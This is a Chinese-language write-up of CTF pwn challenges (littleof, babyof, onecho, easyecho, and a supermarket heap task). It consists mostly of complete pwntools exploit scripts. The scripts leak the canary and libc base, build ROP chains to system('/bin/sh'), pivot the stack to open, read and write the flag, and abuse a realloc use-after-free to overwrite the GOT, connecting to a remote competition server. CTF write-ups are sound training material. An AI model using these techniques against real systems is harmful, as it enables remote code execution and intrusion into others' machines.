白给的ret2libc, 第一个输出泄露canary, 第二个输出泄露libc基址顺便控制一下返回地址再返回去输入, 之后就getshell咯(摊手)
#!/usr/bin/env python
#coding=utf-8
from pwn import*
sh = remote("182.116.62.85", 27056)
#sh = process('./littleof')
elf = ELF('./littleof')
libc = ELF('./libc-2.27.so')
#libc = elf.libc
context.log_level='debug'
pop_rdi_ret = 0x0400863
main_addr = 0x0400789
pop_rsi_r15_ret = 0x0400861
payload = 'A'*(0x50-8)
sh.recvuntil("?")
sh.sendline(payload)
sh.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
canary = u64(sh.recv(8).ljust(8,b'x00'))
canary = canary - 0x0a
payload = 'a'*(0x50-8) + p64(canary) + 'b'*8 + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr)
sh.recvuntil("!")
sh.sendline(payload)
leak = u64(sh.recvuntil('x7f')[-6:].ljust(8,b'x00'))
libc_base = leak - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/shx00').next()
payload = 'D'*(0x50-8)
sh.recvuntil("?")
sh.sendline(payload)
sh.recv()
payload = 'c'*(0x50-8) + p64(canary) + 'd'*8 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(pop_rsi_r15_ret) + p64(0)*2 + p64(sys_addr)
sh.recvuntil("!")
sh.sendline(payload)
sh.interactive()
babyof
捏麻麻滴, 咋第二题和第一题相似还比第一题简单的? 依旧是白给的ret2libc, 但是第一个输出就能直接泄露出libc基址了, 不用考虑canary, 然后第二个输入直接getshell就完事了
#!/usr/bin/env python
#coding=utf-8
from pwn import*
sh = remote("182.116.62.85", 27056)
#sh = process('./littleof')
elf = ELF('./littleof')
libc = ELF('./libc-2.27.so')
#libc = elf.libc
context.log_level='debug'
pop_rdi_ret = 0x0400863
main_addr = 0x0400789
pop_rsi_r15_ret = 0x0400861
payload = 'a'*0x40 + 'b'*8 + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr)
sh.recvuntil("?")
sh.sendline(payload)
leak = u64(sh.recvuntil('x7f')[-6:].ljust(8,b'x00'))
libc_base = leak - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + libc.search('/bin/shx00').next()
payload = 'c'*(0x50-8) + 'd'*8 + p64(pop_rdi_ret) + p64(binsh_addr) + p64(pop_rsi_r15_ret) + p64(0)*2 + p64(sys_addr)
sh.recvuntil("?")
sh.sendline(payload)
sh.interactive()
onecho
栈上的orw, 还算有点新意, 总体思路是先利用前面的scanf("%s")的溢出控制返回地址, 但是由于有这玩意(后来想想这玩意好像也没啥比用, 但俺懒得删前面的了)
导致我们要在ret的返回地址+4处写上一个可写地址来应付memcpy, 所以我选择了个.bss地址, 毕竟没开pie, 同时我后面也要栈迁移
之后就是先泄露libc, 再栈迁移, 这是第一段payload的作用
第二段payload是为了执行orw的, 就是这样咯~
至于第一段写的p32(0), 一开始想绕过strlen用的, 后来不知道起作用没, 也懒得想了
#!/usr/bin/env python
# coding=utf-8
from pwn import *
#sh=process('./onecho')
sh=remote('182.116.62.85',24143)
elf=ELF('./onecho')
libc=ELF('./libc/libc.so.6')
#libc=elf.libc
context.log_level='debug'
add_esp_0x10_leave_ret=0x080492a2
pop_esi_edi_ebp_ret=0x08049811
pop_ebx_ret=0x08049022
leave_ret=0x080492a5
#gdb.attach(sh, 'b *0x080495F7')
sh.recvuntil('name:n')
payload='a'*4+p32(0)+'b'*260+p32(0x0804c100)+p32(pop_ebx_ret)+p32(0x0804c100)
+p32(elf.plt['puts'])+p32(pop_ebx_ret)+p32(elf.got['puts'])+p32(elf.plt['read'])
+p32(add_esp_0x10_leave_ret)+p32(0)+p32(0x0804c100)+p32(0x1000)+p32(0x1000)
sh.sendline(payload)
libc_base=u32(sh.recv(4))-libc.sym['puts']
log.success("libc base: "+hex(libc_base))
payload2=p32(0x0804c800)+p32(libc_base+libc.sym['open'])+p32(pop_esi_edi_ebp_ret)+p32(0x0804c140)
+p32(0)*2+p32(elf.plt['read'])+p32(pop_esi_edi_ebp_ret)+p32(3)+p32(0x0804c400)
+p32(0x100)+p32(elf.plt['write'])+p32(0)+p32(1)+p32(0x0804c400)+p32(0x100)+'flag'
sh.send(payload2)
sh.recv()
sh.interactive()
easyecho
在name那多输入点数据, 这样就能和栈上存储程序地址的数据拼接起来, 在后面%s泄露pie偏移, 再在后面输入backdoor让flag存在程序中, 最后利用gets狂输入flag存储地址同时触发smashing, 就能打印出flag了(至于为什么会想到这方法, 是因为实在想不出怎么泄露canary)
#!/usr/bin/env python
# coding=utf-8
from pwn import *
sh=process('./easyecho')
#sh=remote('182.116.62.85',24842)
elf=ELF('./easyecho')
context.log_level='debug'
#gdb.attach(sh, 'b *$rebase(0xb18)')
sh.recvuntil('Name: ')
sh.sendline('sb'*9)
sh.recvuntil('sb'*8)
leak=u64(sh.recv(6).ljust(8, ' 0'))
pie_base=leak-0xcf0
log.success('pie base: '+hex(pie_base))
sh.recvuntil('Input: ')
sh.sendline('backdoor')
flag_addr=pie_base+0x202040
sh.recvuntil('Input: ')
payload='exitexit'.ljust(16, 'x00')+p64(flag_addr)*0x100
sh.sendline(payload)
sh.interactive()
PWN1
先写一下node的结构
然后add就是先malloc一个node节点, 之后写入name, price, description_size, 最后再malloc一个description, 然后写入数据, 这里没问题
之后del也全部free后置零了, 主要问题出现在edit_description, 它使用了realloc, 而realloc在面对申请比原本chunk大的size时会先释放原来的chunk, 再申请个符合新size的chunk, 同时本题只是realloc了, 却并没有再做node->description=realloc()的操作, 所以该description依旧指向free的小chunk, 因此造成了uaf, 同时由于got可写且struct node中存在指针, 则可以考虑让new node被分配uaf的chunk, 这样我们编辑old node的description时就是在编辑new node的结构, 最后改写description指针让它指向got表则改写got表就可以getshell啦
(所以为什么不给libc文件呢)
#coding:utf8
from pwn import *
from LibcSearcher import *
#sh = process('./task_supermarket')
sh = remote('182.116.62.85',27518)
elf = ELF('./task_supermarket')
context.binary = elf
#context.log_level = 'debug'
atoi_got = elf.got['atoi']
def create(index,size,content):
sh.sendlineafter('your choice>>','1')
sh.sendlineafter('name:',str(index))
sh.sendlineafter('price:','10')
sh.sendlineafter('descrip_size:',str(size))
sh.sendlineafter('description:',content)
def delete(index):
sh.sendlineafter('your choice>>','2')
sh.sendlineafter('name:',str(index))
def show():
sh.sendlineafter('your choice>>','3')
def edit(index,size,content='/bin/shx00'):
sh.sendlineafter('your choice>>','5')
sh.sendlineafter('name:',str(index))
sh.sendlineafter('descrip_size:',str(size))
sh.sendlineafter('description:',content)
'''old node'''
create(0,0x80,'o'*0x10)
create(1,0x20,'o'*0x10)
edit(0,0x90)
'''new node'''
create(2,0x20,'d'*0x10)
payload = 'n'.ljust(16,'x00') + p32(20) + p32(0x20) + p32(atoi_got)
edit(0,0x80,payload)
'''get libc base'''
show()
sh.recvuntil('2: price.20, des.')
atoi_addr = u32(sh.recvuntil('n').split('n')[0].ljust(4,'x00'))
libc = LibcSearcher('atoi',atoi_addr)
libc_base = atoi_addr - libc.dump('atoi')
system_addr = libc_base + libc.dump('system')
edit(2,0x20,p32(system_addr))
'''getshell'''
sh.sendlineafter('your choice>>','/bin/shx00')
sh.interactive()
赛后bb:
pwn好水啊



